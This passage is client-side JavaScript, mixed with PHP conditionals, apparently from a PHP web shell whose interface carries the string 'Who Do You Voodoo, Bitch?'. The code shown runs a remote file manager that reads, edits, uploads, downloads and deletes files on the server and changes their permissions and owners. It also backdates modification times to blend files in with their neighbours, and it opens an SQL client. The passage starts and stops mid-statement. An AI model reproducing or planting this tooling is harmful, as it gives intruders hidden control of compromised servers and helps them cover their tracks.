v==='string')v=elmById(v).checked;if(v)sessionStorage.setItem(n,1);else sessionStorage.removeItem(n);}function strgSaveStr(n,v){if(v==='')sessionStorage.removeItem(n);else sessionStorage.setItem(n,v);}function strgSaveOpt(n,v){if(v!==''&&v!=='UTF-8')sessionStorage.setItem(n,v);else sessionStorage.removeItem(n);}function uiRszBody(){var s=document.body.style;s.width=s.width==='100%'?'':'100%';return false;}function uiRsz(e){if(typeof e==='string')e=elmById(e);e=e.style;if(e.width==='100%'){e.width='';e.height='';}else{e.top='';e.left='';e.width='100%';e.height='100%';}return false;}function uiDelMsg(div){elmById('divMsgs').removeChild(div);return false;}function setMsgTmr(div){var fnc=uiDelMsg.bind(null,div),tmr=setTimeout(fnc,5000);div.onmouseover=function(){clearTimeout(tmr);};div.onmouseout=function(){tmr=setTimeout(fnc,5000);};}function uiClsMsg(){return uiDelMsg(this.parentNode);}function uiMsg(msg,type){if(!type){type='Prcs';msg+=' \u2026';}var div=newElm('div',{className:'divCntrls divMsg'+type});div.appendChild(newElm('a',{href:'#',className:'cntrl',textContent:'\u00D7',onclick:uiClsMsg}));div.appendChild(document.createTextNode(msg));var elm=elmById('divMsgs');elm.insertBefore(div,elm.firstChild);if(type!=='Prcs')setMsgTmr(div);return div;}function uiChngMsg(div,msg,type){div.firstChild.onclick=uiClsMsg;div.lastChild.textContent=msg;div.className='divMsg'+type;setMsgTmr(div);var elm=elmById('actLog').style;if(elm.display!=='inline-block')elm.display='inline-block';elm=elmById('divLogCntn');elm.insertBefore(newElm('div',{className:'divMsg'+type,textContent:'('+utsToStr(Date.now()/1000)+') '+msg}),elm.firstChild);return false;}function uiNetErrMsg(div){uiChngMsg(div,'Network error\n'+div.lastChild.textContent.slice(0,-2),'Err');}function uiShwModal(elm){if(typeof elm==='string')elm=elmById(elm);if(elm.style.visibility==='visible')return false;elm.style.zIndex=mdlWndws.length===0?100:(mdlWndws[mdlWndws.length-1].style.zIndex|0)+1;elm.style.visibility='visible';mdlWndws.push(elm);elm.focus();return false;}function uiActvModal(evnt){var elm=evnt.currentTarget,n=mdlWndws.indexOf(elm);if(n!==-1){var i=mdlWndws.length-1;if(mdlWndws[i]!==elm){elm.style.zIndex=(mdlWndws[i].style.zIndex|0)+1;mdlWndws.splice(n,1);mdlWndws.push(elm);}}if(evnt.target.tagName==='SPAN'||evnt.target.tagName==='DIV'){elm.style.cursor='move';var dx=evnt.pageX-elm.offsetLeft,dy=evnt.pageY-elm.offsetTop;document.onmousemove=function(e){elm.style.left=(e.clientX-dx)+'px';elm.style.top=(e.clientY+window.pageYOffset-dy)+'px';};document.onmouseup=function(){document.onmousemove=null;document.onmouseup=null;elm.style.cursor='';};evnt.preventDefault();evnt.stopPropagation();return false;}}function uiClsModal(elm){if(typeof elm==='string')elm=elmById(elm);elm.style.visibility='hidden';mdlWndws.splice(mdlWndws.indexOf(elm),1);return false;}function uiSlctTxt(id){var r=document.createRange(),s=window.getSelection();r.selectNode(elmById(id));s.removeAllRanges();s.addRange(r);}function utsToStr(v){if(v<1)return'?';v=new Date(v*1000).toISOString();return v.slice(0,10)+' '+v.slice(11,19);}function clnLog(){elmById('actLog').style.display='none';elmById('divLog').style.visibility='hidden';var div=elmById('divLogCntn');for(var i=div.childNodes.length-1;i>=0;--i)div.removeChild(div.childNodes[i]);return false;}var DS='<?php echo NIX ? "/" : "\\\\"; ?>',fmBuffer=[],elmTblFiles=null,elmTmplFileRow=null,elmPth=null,fileTypes={0xE000:'P',0xD000:'D',0xC000:'s',0xA000:'l',0x8000:'-',0x6000:'b',0x4000:'d',0x2000:'c',0x1000:'p'};function fmSaveState(){strgSaveStr('fmPath',elmPth.placeholder);strgSaveArr('fmBuffer',fmBuffer);}function fmRestoreState(){elmTblFiles=elmById('tblFiles');elmTmplFileRow=elmById('tmplFileRow').content.firstChild;elmPth=elmById('frmFM').p;strgRstrVal('fmPath',elmPth);elmPth.placeholder=elmPth.value;fmBuffer=strgRstrArr('fmBuffer');if(fmBuffer.length>0)elmById('btnBufferMenu').disabled=false;}function uiCheckAll(id,state){var elms=elmById('frm'+id)['f[]'];if(elms){if(elms.length>0)for(var i=elms.length-1;i>=0;--i)elms[i].checked=state;else elms.checked=state;}}function fmAjxSnd(msg,clbck,data,frm,chrst){if(!data)data={};data.a='f';if(!('c'in data)){var cs=elmById('fmCSLoad').value;if(cs!=='')data.c=cs;}ajxSnd(msg,clbck,frm,data,chrst?chrst:elmById('fmCSSend').value);}function parseName(file){var n=file[0],e='';if(file[1]===null){n='[ '+n+' ]';e='[ DIR ]';}else{var p=n.lastIndexOf('.');if(p>0){e=n.slice(p+1);n=n.slice(0,p);}}file[0]=[file[0],n,e];}function cmprFiles(f1,f2){var f1F=f1[1]!==null,f2F=f2[1]!==null;if(f1F&&f2F){if(f1[0][2]!==f2[0][2])return f1[0][2]>f2[0][2]?1:-1;}else if(f1F)return 1;else if(f2F)return-1;return f1[0][1]>f2[0][1]?1:-1;}function frmtSize(s){if(s===null)return'[ DIR ]';if(s===-1)return'?';if(s>999){s=s.toString();for(var i=s.length-3;i>0;i-=3)s=s.slice(0,i)+'\u2009'+s.slice(i);}return s;}function prmsToStr(p){p|=0;if(p===0)return'?';var v=p&0xF000;return((v in fileTypes)?fileTypes[v]:'u')+((p&0x0100)?'r':'-')+((p&0x0080)?'w':'-')+((p&0x0040)?((p&0x0800)?'s':'x'):((p&0x0800)?'S':'-'))+((p&0x0020)?'r':'-')+((p&0x0010)?'w':'-')+((p&0x0008)?((p&0x0400)?'s':'x'):((p&0x0400)?'S':'-'))+((p&0x0004)?'r':'-')+((p&0x0002)?'w':'-')+((p&0x0001)?((p&0x0200)?'t':'x'):((p&0x0200)?'T':'-'));}function updFileRow(row,file,ogn){row.style.visibility='hidden';row.cells[3].firstChild.textContent=frmtSize(file[1]);row.cells[4].textContent=utsToStr(file[2]);var elm=row.cells[5].firstChild;elm.className='lnkAct prm'+file[3];<?php if (NIX) { ?>elm.textContent=prmsToStr(file[4]);elm.title=(file[4]|0).toString(8).slice(-4);elm=row.cells[6];elm.textContent=ogn;elm.title=(file[5]===-1?'?':file[5])+'/'+(file[6]===-1?'?':file[6]);<?php
3391 } else { ?>switch(file[3]){case 1:elm.textContent='read';break;case 2:elm.textContent='write';break;case 3:elm.textContent='read/write';break;default:elm.textContent='none';break;}<?php
3392 } ?>row.style.visibility='visible';}function fillFileRow(cells,bpth,file,ogn){var fpth=bpth+file[0][0],elm=cells[1].firstChild,len=file.length;if(file[1]===null)fpth+=DS;cells[0].firstChild.value=fpth;elm.textContent=file[0][1];if(len%2===0){elm.title=canonPath(file[len-1],bpth);elm.classList.add('lnk');}if(fmBuffer.indexOf(fpth)>-1)elm.classList.add('mrkd');elm=cells[2].firstChild;elm.title=file[0][0];elm.textContent=file[0][2];cells[3].firstChild.textContent=frmtSize(file[1]);cells[4].textContent=utsToStr(file[2]);elm=cells[5].firstChild;elm.classList.add('prm'+file[3]);<?php if (NIX) { ?>elm.textContent=prmsToStr(file[4]);elm.title=(file[4]|0).toString(8).slice(-4);elm=cells[6];elm.textContent=ogn;elm.title=(file[5]===-1?'?':file[5])+'/'+(file[6]===-1?'?':file[6]);<?php
3393 } else { ?>switch(file[3]){case 1:elm.textContent='read';break;case 2:elm.textContent='write';break;case 3:elm.textContent='read/write';break;default:elm.textContent='none';break;}<?php
3394 } ?>}function listFiles(data,ownrs,grps){var bpth=data.p,files=data.f,tbdy=elmById('tmplFilesTBody').content.firstChild.cloneNode(true);for(var pths=bpth.slice(0,-1).split(DS),cpth='',i=0,c=pths.length;i<c;++i){cpth+=pths[i]+DS;tbdy.rows[0].cells[0].appendChild(newElm('a',{href:'#'+cpth,className:'spnPth',textContent:pths[i]+DS,}));tbdy.rows[0].cells[0].classList.add('prm'+data.m);}tbdy.rows[1].cells[0].firstChild.value=bpth+'..';files.map(parseName);files.sort(cmprFiles);for(var i=0,c=files.length;i<c;++i){var file=files[i],row=elmTmplFileRow.cloneNode(true);fillFileRow(row.cells,bpth,file<?php if (NIX) echo ",ownrs[file[5]]+'/'+grps[file[6]]"; ?>);tbdy.appendChild(row);}elmTblFiles.appendChild(tbdy);}function listPaths(data){var stl=elmTblFiles.style;if(stl.display!=='none'){stl.display='none';for(var i=elmTblFiles.tBodies.length-1;i>=0;--i)elmTblFiles.removeChild(elmTblFiles.tBodies[i]);elmTblFiles.tHead.rows[0].cells[0].firstChild.checked=false;}if('p'in data)listFiles(data<?php if (NIX) echo ',data.o,data.g'; ?>);else for(var i=0,c=data.f.length;i<c;++i)listFiles(data.f[i]<?php if (NIX) echo ',data.o,data.g'; ?>);stl.display='table';}function canonPath(pth,bpth){if(pth==='')return'';var a=[],s=DS,v=pth.match(new RegExp('^[a-zA-Z0-9]{3,}://'));if(v!==null){s='/';v=v[0];var len=v.length;a.push(pth.slice(0,pth[len]===s?len:v-1));pth=pth.slice(len);}else if(DS==='/'){if(pth[0]===DS)a.push('');}else{pth=pth.replace('/',DS);if(pth[1]===':'){a.push(pth.slice(0,2));pth=pth.slice(2);}else if(pth.slice(0,2)===DS+DS){a.push(DS);pth=pth.slice(1);}else if(pth[0]===DS)a.push('');}if(a.length===0)return canonPath(bpth+pth,bpth);v=pth.split(s);for(var i=0,l=v.length;i<l;++i)switch(v[i]){case'':case'.':break;case'..':if(a.length>1)a.pop();break;default:a.push(v[i]);break;}return a.length===1?a[0]+s:a.join(s);}function onSrchFiles(div,data){if('e'in data)return uiChngMsg(div,data.e,'Err');if(data.f.length===0)return uiChngMsg(div,'Nothing found','Inf');listPaths(data);uiDelMsg(div);}function srchFiles(e){e.preventDefault();e.stopPropagation();var frm=elmById('frmSrch'),data={s:[]},pths=frm.elements[0].value.split(DS==='/'?':':';');for(var i=pths.length-1;i>=0;--i){var pth=canonPath(pths[i],elmPth.placeholder);if(pth!=='')data.s.push(pth);}data.s.sort();fmAjxSnd('Search files',onSrchFiles,data,frm);uiClsModal(frm);}function uiSrchFTypeChngd(){var frm=elmById('frmSrch'),isDir=frm.y.value==1;for(var i=0,a=[<?php if (NIX) echo "'u',"; ?>'z','t','x','v'];i<5;++i)frm[a[i]].disabled=isDir;}function uiShwFrmSrch(){var frm=elmById('frmSrch'),elm=frm.elements[0];if(elm.value==='')elm.value=elmPth.placeholder;uiShwModal(frm);return false;}function updFrmFile(frm,file,cntnt,chrst){if(file[1]!==null){var elm=frm.firstChild.firstChild;switch(file[1]){case 3:elm.textContent='Full Access';break;case 2:elm.textContent='Writable';break;case 1:elm.textContent='Read Only';break;case 0:elm.textContent='Who Do You Voodoo, Bitch?';break;}elm.className='spnTitle prm'+file[1];}frm.elements[0].value=cntnt;var elm=frm.elements[1];elm.value=file[0];elm.placeholder=file[0];chrst=chrst.toLowerCase();for(var i=frm.c.options.length-1;i>=0;--i)if(frm.c.options[i].label.toLowerCase()===chrst){frm.c.selectedIndex=i;break;}}function tbdyByPath(pth){for(var i=0,c=elmTblFiles.tBodies.length;i<c;++i)if(elmTblFiles.tBodies[i].rows[0].cells[0].textContent===pth)return elmTblFiles.tBodies[i];return null;}function isInsPos(file,cells){var fF=file[1]!==null,rF=cells[3].firstChild.textContent!=='[ DIR ]';if(fF&&rF){var fExt=file[0][2],rExt=cells[2].firstChild.textContent;if(fExt!==rExt)return rExt>fExt;}else if(fF)return false;else if(rF)return true;return cells[1].firstChild.textContent>file[0][1];}function updTblFiles(data,ownrs,grps){var tbdyCnt=elmTblFiles.tBodies.length,bpth=data.p,files=data.f;if(tbdyCnt===0)return;files.map(parseName);files.sort(cmprFiles);for(var i=0,c=files.length;i<c;++i){var file=files[i],fpth=bpth+file[0][0],lpth=file.length%2==0?canonPath(file.slice(-1)[0],bpth):null,ogn=<?php echo NIX ? "ownrs[file[5]]+'/'+grps[file[6]]" : "''"; ?>,isNotUpdtd=true;if(file[1]===null)fpth+=DS;for(var t=0;t<tbdyCnt;++t){var tbdy=elmTblFiles.tBodies[t],rows=tbdy.rows,isEqlBsPth=rows[0].cells[0].textContent===bpth;for(var r=2,n=rows.length;r<n;++r){var row=rows[r],cells=row.cells,cfpth=cells[0].firstChild.value,clpth=cells[1].firstChild.title;if(isNotUpdtd&&isEqlBsPth){if(cfpth===fpth){updFileRow(row,file,ogn);isNotUpdtd=false;}else if(isInsPos(file,cells)){var tmpl=elmTmplFileRow.cloneNode(true);fillFileRow(tmpl.cells,bpth,file,ogn);tbdy.insertBefore(tmpl,row);isNotUpdtd=false;++n;}}if(clpth===fpth||cfpth===lpth||lpth===clpth)updFileRow(row,file,ogn);}if(isNotUpdtd&&isEqlBsPth){var tmpl=elmTmplFileRow.cloneNode(true);fillFileRow(tmpl.cells,bpth,file,ogn);tbdy.appendChild(tmpl);}}}}function updTblFile(f){var pos=f[0].slice(0,-1).lastIndexOf(DS)+1,bpth=f[0].slice(0,pos),os={},gs={};f[0]=f[0].slice(pos);<?php if (NIX) { ?>os[f[5]]=f[7];gs[f[6]]=f[8];f.splice(7,2);<?php
3395 } ?>updTblFiles({p:bpth,f:[f]},os,gs);}function onSaveFile(div,data,chrst){if(typeof data!=='string')return uiChngMsg(div,"Can't s"+div.childNodes[1].nodeValue.slice(1,-1)+data.e,'Err');var pos=data.lastIndexOf('\x03\x1E'),file;switch(data[pos+2]){case'\x06':file=JSON.parse(data.slice(pos+3));updFrmFile(this,[file[0],file[3]],data.slice(0,pos),chrst);uiDelMsg(div);break;case'\x15':file=JSON.parse(data.slice(pos+3));uiChngMsg(div,'File '+file[0]+" successful saved but can't read now",'Inf');break;default:uiNetErrMsg(div);return false;break;}updTblFile(file);}function saveFile(e){e.preventDefault();e.stopPropagation();var frm=e.target,pth=canonPath(frm.elements[1].value,elmPth.placeholder);fmAjxSnd('Save file as '+pth,onSaveFile,{w:pth},frm,frm.c.textValue);}function onRldFile(div,data,chrst){if(typeof data!=='string')return uiChngMsg(div,"Can't read file "+div.childNodes[1].nodeValue.slice(5,-2)+data.e,'Err');var pos=data.lastIndexOf('\x03\x1E'),file;switch(data[pos+2]){case'\x06':file=JSON.parse(data.slice(pos+3));updFrmFile(this,file,data.slice(0,pos),chrst);uiDelMsg(div);break;case'\x15':file=JSON.parse(data.slice(pos+3));uiChngMsg(div,"Can't read file "+file[0],'Inf');break;default:uiNetErrMsg(div);return false;break;}}function rldFile(e){e.preventDefault();e.stopPropagation();var frm=e.target.parentNode.parentNode,pth=frm.elements[1].placeholder;frm.t='';if(frm.firstChild.firstChild.textContent!=='New File')fmAjxSnd('Reload file '+pth,onRldFile,{g:pth},frm);}function rldFileAs(e){if(e.target.parentNode.parentNode.elements[1].placeholder!==''&&confirm('Do you want to reload this file with selected charset?'))rldFile(e);}function uiShwFrmFile(file,cntnt,chrst){var frm=elmById('tmplFrmFile').content.firstChild.cloneNode(true);updFrmFile(frm,file,cntnt,chrst);elmById('divWndws').appendChild(frm);uiShwModal(frm);}function onGoTo(div,data,chrst){if(typeof data==='string'){var pos=data.lastIndexOf('\x03\x1E');switch(data[pos+2]){case'\x06':uiShwFrmFile(JSON.parse(data.slice(pos+3)),data.slice(0,pos),chrst);uiDelMsg(div);break;case'\x15':uiChngMsg(div,"Can't open "+data.slice(pos+3),'Err');break;default:uiNetErrMsg(div);break;}}else{if(data.f.length===0&&(data.m===0||data.m===2))uiChngMsg(div,"Can't read dir "+data.p,'Err');else{elmPth.value=data.p;elmPth.placeholder=data.p;listPaths(data);uiDelMsg(div);}}}function goTo(pth){if(pth!==''&&pth!=='~')pth=canonPath(pth,elmPth.placeholder);fmAjxSnd('Go '+((pth===''||pth==='~')?'home':'to '+pth),onGoTo,{g:pth});return false;}function uiTgglSubMenu(e){var div=e.currentTarget.nextSibling,style=div.style;if(style.display==='block')style.display='none';else{style.display='block';div.firstChild.focus();}}function menuButtonBlur(e){setTimeout(uiMenuButtonBlur,10,e.nextSibling);}function menuItemBlur(e){setTimeout(uiMenuItemBlur,10,e.parentNode);}function uiMenuButtonBlur(menuDiv){var actvPrnt=document.activeElement.parentNode;if(actvPrnt!==menuDiv)menuDiv.style.display='none';}function uiMenuItemBlur(menuDiv){var actvPrnt=document.activeElement.parentNode;if(actvPrnt!==menuDiv&&actvPrnt!==menuDiv.parentNode)menuDiv.style.display='none';}function uiDstrModal(wndw){elmById('divWndws').removeChild(wndw);return false;}function updBufferState(){var elm=elmById('btnBufferMenu'),isEmpty=fmBuffer.length===0;if(elm.disabled!==isEmpty)elm.disabled=isEmpty;if(isEmpty){elm=elmById('frmBuffer');if(elm.style.visibility==='visible'){uiClsModal(elm);elm=elmById('tblBuffer');elm.removeChild(elm.tBodies[0]);}}}function rmFiles(data){var bpth=data.p,files=data.f,flsTbds=elmTblFiles.tBodies,flsTbdy=tbdyByPath(bpth),bfrTbdy=elmById('frmBuffer').style.visibility==='visible'?elmById('tblBuffer').tBodies[0]:null;for(var i=files.length-1;i>=0;--i){var fpth=files[i];if(flsTbdy)for(var j=flsTbdy.rows.length-1;j>1;--j)if(flsTbdy.rows[j].cells[2].firstChild.title===fpth){flsTbdy.removeChild(flsTbdy.rows[j]);break;}fpth=bpth+fpth;var n=fmBuffer.indexOf(fpth);if(n>-1){fmBuffer.splice(n,1);if(bfrTbdy)bfrTbdy.removeChild(bfrTbdy.rows[n]);}fpth+=DS;var len=fpth.length;for(n=flsTbds.length-1;n>=0;--n)if(flsTbds[n].rows[0].cells[0].textContent.slice(0,len)===fpth)elmTblFiles.removeChild(flsTbds[n]);for(n=fmBuffer.length-1;n>=0;--n)if(fmBuffer[n].slice(0,len)===fpth){fmBuffer.splice(n,1);if(bfrTbdy)bfrTbdy.removeChild(bfrTbdy.rows[n]);}}}function onChngPrps(div,data){if('r'in data){for(var i=0,c=data.r.length;i<c;++i)rmFiles(data.r[i]);updBufferState();}if('c'in data)for(var i=0,c=data.c.length;i<c;++i)updTblFiles(data.c[i]<?php if (NIX) echo ',data.o,data.g'; ?>);if('e'in data)uiChngMsg(div,"Can't change"+(data.e.length===1?' '+data.e[0]:':\n'+data.e.join('\n')),'Err');else uiDelMsg(div);}function chngPrps(e){e.preventDefault();e.stopPropagation();var frm=e.target,data={h:[]},flds={p:'path',t:'modified time'<?php if (NIX) echo ",e:'permissions',o:'owner',r:'group'"; ?>},chngd=[];for(var field in flds)if(frm[field].value!==''&&frm[field].value!==frm[field].placeholder){data[field]=frm[field].value;chngd.push(flds[field]);}if(chngd.length>0){if('p'in data)data.p=canonPath(data.p,elmPth.placeholder);var elm=frm['h[]'],cnt=elm.length?elm.length:1;if(cnt>1)for(var i=0;i<cnt;++i)data.h.push(elm[i].value);else data.h.push(elm.value);fmAjxSnd('Change '+chngd.join(', ')+' for '+(cnt>1?'selected files ('+cnt+')':elm.value),onChngPrps,data);}uiDstrModal(frm);}function setErlDate(e){e.preventDefault();e.stopPropagation();var elm=e.target.parentNode.lastChild,erlDate=elm.value;for(var i=elmTblFiles.tBodies.length-1;i>=0;--i){var rows=elmTblFiles.tBodies[i].rows;for(var j=rows.length-1;j>1;--j)if(rows[j].cells[4].textContent<erlDate||erlDate==='')erlDate=rows[j].cells[4].textContent;}if(erlDate!==''&&erlDate<elm.value)elm.value=erlDate;}function uiShwFrmPrps(data,files){var frm=elmById('tmplFrmPrps').content.firstChild.cloneNode(true);for(var i=0,c=files.length;i<c;++i)frm.appendChild(newElm('input',{type:'hidden',name:'h[]',value:files[i]}));frm.p.value=data[0];frm.p.placeholder=data[0];frm.t.value=data[1];frm.t.placeholder=data[1];<?php if (NIX) { ?>frm.e.value=data[2];frm.e.placeholder=data[2];frm.o.value=data[3];frm.o.placeholder=data[3];frm.r.value=data[4];frm.r.placeholder=data[4];<?php
3396 } ?>elmById('divWndws').appendChild(frm);uiShwModal(frm);}function onGetPrps(div,data){if(data[4]===0)return uiChngMsg(div,"Can't get properties of "+data[0],'Err');uiShwFrmPrps([data[0],utsToStr(data[2]),(data[4]|0).toString(8).slice(-4),data[5]===-1?'?':data[5],data[6]===-1?'?':data[6]],[data[0]]);uiDelMsg(div);}function getPrps(fpth){fmAjxSnd('Get properties of '+fpth,onGetPrps,{i:fpth});}function onDwnFiles(div,data){uiChngMsg(div,"Can't d"+div.childNodes[1].nodeValue.slice(1,-2),'Err');}function dwnFiles(files){var cnt=files.length;if(cnt>0)fmAjxSnd('Download '+(cnt>1?'selected files ('+cnt+')':files[0]),onDwnFiles,{d:cnt>1?files:files[0]});}function onDelFiles(div,data){if('r'in data){for(var i=data.r.length-1;i>=0;--i)rmFiles(data.r[i]);updBufferState();}if('e'in data)uiChngMsg(div,"Can't delete "+(data.e.length===1?data.e[0]:':\n'+data.e.join('\n')),'Err');else uiDelMsg(div);}function delFiles(files){var cnt=files.length,msg='Delete '+(cnt>1?'selected files ('+cnt+')':files[0]);if(cnt>0&&confirm(msg+' ?'))fmAjxSnd(msg,onDelFiles,{u:files});}function onFastActClick(e){var trgt=e.target;if(trgt.tagName!=='A')return;e.preventDefault();e.stopPropagation();trgt.blur();var fpth=canonPath(elmPth.value,elmPth.placeholder);if(fpth==='')return;switch(trgt.textContent){case'Properties':getPrps(fpth);break;case'Download':dwnFiles([fpth]);break;case'Delete':delFiles([fpth]);break;}}function onUplFiles(div,data){if('p'in data)updTblFiles(data<?php if (NIX) echo ',data.o,data.g'; ?>);if('e'in data){var errs=["can't move file to current dir",'file size exceeds the upload_max_filesize directive','file size exceeds the max_file_size property','file only partially uploaded','file not uploaded','Who Do You Voodoo, Bitch?','missing a temporary folder','failed to write to disk','some PHP extension stopped the upload'],cnt=data.e.length,sep=cnt===1?' ':'\n',msg="Can't save uploaded file";if(cnt>1)msg+='s:';for(var i=0;i<cnt;++i)msg+=sep+data.e[i].slice(1)+' ('+errs[data.e[i].slice(0,1)]+')';uiChngMsg(div,msg,'Err');}else uiDelMsg(div);}function uplFiles(){if(elmById('cbGET').checked)return uiMsg("You can't send a file by GET method.",'Err');var inp=elmById('inpUpl'),fls=inp.files,len=fls.length;fmAjxSnd('Upload '+(len>1?len+' files':fls[0].name),onUplFiles,{p:elmPth.placeholder},inp.form);}function onMkFile(div,data){if('e'in data)return uiChngMsg(div,"Can't c"+div.childNodes[1].nodeValue.slice(1,-1)+data.e,'Err');updTblFile(data);uiDelMsg(div);}function mkLnk(e){e.preventDefault();e.stopPropagation();var frm=elmById('frmLnk'),lnk=canonPath(frm.elements[1].value,elmPth.placeholder);fmAjxSnd('Create '+frm.t.textValue.toLowerCase()+' link '+lnk+' to '+frm.p.value,onMkFile,{l:lnk},frm);uiClsModal(frm);}function uiShwFrmLnk(p){var frm=elmById('frmLnk');frm.p.value=p;frm.elements[1].value=p;frm.t.selectedIndex=0;uiShwModal(frm);}function mkDir(bp){var fp=prompt('Create Directory',bp);if(fp!==null){fp=canonPath(fp,bp);fmAjxSnd('Create directory '+fp,onMkFile,{m:fp});}}function onCrtMenuClick(e){var trgt=e.target;if(trgt.tagName!=='A')return;e.preventDefault();e.stopPropagation();trgt.blur();var bpth=elmPth.placeholder;switch(trgt.textContent){case'File':uiShwFrmFile([bpth,null],'',elmById('fmCSSend').value);break;case'Link':uiShwFrmLnk(bpth);break;case'Directory':mkDir(bpth);break;}}function uiUnmrkTblFiles(files){var as=elmTblFiles.getElementsByClassName('mrkd');for(var i=as.length-1;i>=0;--i){var n=files.indexOf(as[i].parentNode.parentNode.cells[0].firstChild.value);if(n>-1){as[i].classList.remove('mrkd');files.splice(n,1);if(files.length===0)break;}}}function unmarkFiles(){var tbdy=elmById('tblBuffer').tBodies[0],inps=elmById('frmBuffer')['f[]'],files=[];if(!inps.length)inps=[inps];for(var i=inps.length-1;i>=0;--i)if(inps[i].checked){files.push(fmBuffer.splice(i,1)[0]);tbdy.removeChild(inps[i].parentNode.parentNode);}if(files.length>0){uiUnmrkTblFiles(files);updBufferState();}}function onTblBufferClick(e){var trgt=e.target;if(trgt.tagName!=='A')return;e.preventDefault();e.stopPropagation();var row=trgt.parentNode.parentNode,fpth=row.cells[0].firstChild.value;switch(trgt.parentNode.cellIndex){case 1:goTo(fpth);break;case 2:fmBuffer.splice(row.rowIndex-1,1);row.parentNode.removeChild(row);uiUnmrkTblFiles([fpth]);updBufferState();break;}}function uiShwFrmBuffer(){var frm=elmById('frmBuffer');if(frm.style.visibility==='visible')return;var tbl=elmById('tblBuffer'),tbdy=document.createElement('tbody'),elmTmplBufferRow=elmById('tmplBufferRow').content.firstChild;frm.elements[0].checked=false;if(tbl.tBodies.length>0)tbl.removeChild(tbl.tBodies[0]);fmBuffer.sort();for(var i=0,c=fmBuffer.length;i<c;++i){var row=elmTmplBufferRow.cloneNode(true);row.cells[0].firstChild.value=fmBuffer[i];row.cells[1].firstChild.textContent=fmBuffer[i];tbdy.appendChild(row);}tbl.appendChild(tbdy);uiShwModal(frm);}function getName(f){return f[0];}function onFlshBuffer(div,data){var files=('c'in data)?data.c:[];if('m'in data)for(var i=data.m.length-1;i>=0;--i){rmFiles({p:data.m[i].p,f:data.m[i].f.map(getName)});files=files.concat(data.m[i].f);}updTblFiles({p:data.p,f:files}<?php if (NIX) echo ',data.o,data.g'; ?>);if('e'in data){var msg=div.childNodes[1].nodeValue;uiChngMsg(div,"Can't "+msg.slice(0,10).toLowerCase()+msg.slice(26,-1)+":\n"+data.e.join("\n"),'Err');}else uiDelMsg(div);}function flushBuffer(act){var bpth=elmPth.placeholder,data={f:bpth};data[act==='Copy'?'p':'v']=fmBuffer;fmAjxSnd(act+' files from the buffer to '+bpth,onFlshBuffer,data);}function clnBuffer(){var as=elmTblFiles.getElementsByClassName('mrkd');for(var i=as.length-1;i>=0;--i)as[i].classList.remove('mrkd');fmBuffer=[];updBufferState();}function onBufferMenuClick(e){var trgt=e.target;if(trgt.tagName!=='A')return;e.preventDefault();e.stopPropagation();trgt.blur();fmBuffer.sort();switch(trgt.textContent){case'Show files':uiShwFrmBuffer();break;case'Copy here':case'Move here':flushBuffer(trgt.textContent.slice(0,4));clnBuffer();break;case'Download':dwnFiles(fmBuffer);clnBuffer();break;case'Clear':clnBuffer();break;}}function markFiles(files){var bfrTbdy=elmById('frmBuffer').style.visibility==='visible'?elmById('tblBuffer').tBodies[0]:null,elmTmplBufferRow=elmById('tmplBufferRow').content.firstChild;for(var i=0,c=files.length;i<c;++i){var file=files[i],n=fmBuffer.indexOf(file);if(n===-1){fmBuffer.push(file);if(bfrTbdy){var row=elmTmplBufferRow.cloneNode(true);row.cells[0].firstChild.value=file;row.cells[1].firstChild.textContent=file;bfrTbdy.appendChild(row);}}else{fmBuffer.splice(n,1);if(bfrTbdy)bfrTbdy.removeChild(bfrTbdy.rows[n]);}}updBufferState();}function getSlctdFiles(){var inps=elmById('frmFiles')['f[]'],chckd=[];if(inps){if(inps.length>0){for(var i=0,c=inps.length;i<c;++i)if(inps[i].checked)chckd.push(inps[i].value);}else chckd.push(inps);}return chckd;}function prpsSlctdFiles(){var files=getSlctdFiles();if(files.length>0)uiShwFrmPrps(['','','','',''],files)}function markSlctdFiles(){var inps=elmById('frmFiles')['f[]'],files=[];if(!inps)return;if(!inps.length)inps=[inps];for(var i=0,c=inps.length;i<c;++i)if(inps[i].checked){inps[i].parentNode.parentNode.cells[1].firstChild.classList.toggle('mrkd');files.push(inps[i].value);}markFiles(files);}function onTblFilesClick(e){var trgt=e.target;if(trgt.tagName!=='A')return;e.preventDefault();e.stopPropagation();if(trgt.className=='spnPth')goTo(trgt.hash.slice(1));else{var cell=trgt.parentNode,row=cell.parentNode,fpth=row.cells[0].firstChild.value;switch(cell.cellIndex){case 1:goTo(fpth);break;case 2:var elmTxtClpbrd=elmById('txtClpbrd');elmTxtClpbrd.value=trgt.title;elmTxtClpbrd.select();document.execCommand('copy');elmTxtClpbrd.value='';trgt.focus();break;case 3:dwnFiles([fpth]);break;case 5:<?php if (NIX) echo "var og=row.cells[6].title.split('/');"; ?>uiShwFrmPrps([fpth,row.cells[4].textContent<?php if (NIX) echo ',row.cells[5].firstChild.title,og[0],og[1]'; ?>],[fpth]);break;default:if(trgt.textContent==='Mrk'){row.cells[1].firstChild.classList.toggle('mrkd');markFiles([fpth]);}else if(trgt.textContent==='Del')delFiles([fpth]);break;}}}function sqlRestoreState(){var val=sessionStorage.getItem('sqlCnnct');if(val!==null){var frm=elmById('frmCnnct');val=JSON.parse(val);for(var key in val)frm[key].value=val[key];}strgRstrChck('sqlCntRw','cbCR');strgRstrVal('sqlRPP',elmById('frmPg').r);strgRstrVal('sqlSendAs','sqlCSSend');strgRstrVal('sqlLoadAs','sqlCSLoad');}function sqlSaveState(){var elms=elmById('frmCnnct').elements,val={};for(var i=elms.length-1;i>=0;--i)if(elms[i].name!=='')val[elms[i].name]=elms[i].value;strgSaveStr('sqlCnnct',JSON.stringify(val));strgSaveBool('sqlCntRw','cbCR');strgSaveStr('sqlRPP',elmById('frmPg').r.value);strgSaveOpt('sqlSendAs',elmById('sqlCSSend').value);strgSaveOpt('sqlLoadAs',elmById('sqlCSLoad').value);}function sqlAjxSnd(msg,cllbck,data){var elm=elmById('frmCnnct').elements;if(!data)data={};data.a='s';for(var i=elm.length-1;i>=0;--i){var n=elm[i].name;if(n!==''&&elm[i].value!==''&&!(n in data))data[n]=elm[i].value;}var val=elmById('sqlCSLoad').value;if(val!==0)data.c=val;elm=elmById('sqlCSSend');data.l=elm.value;return ajxSnd(msg,cllbck,null,data,elm.textValue);}function mkItmRow(name,val,chckd,fncOpn,fncDwn){var div=newElm('div',{className:'divItm'});div.appendChild(newElm('input',{type:'checkbox',name:name+'[]',value:val,checked:chckd,onchange:onChngCBState}));if(fncOpn)div.appendChild(newElm('a',{href:'#',className:'cntrl actRe',textContent:'\u27F3',onclick:getStrctr}));if(fncDwn)div.appendChild(newElm('a',{href:'#',className:'cntrl 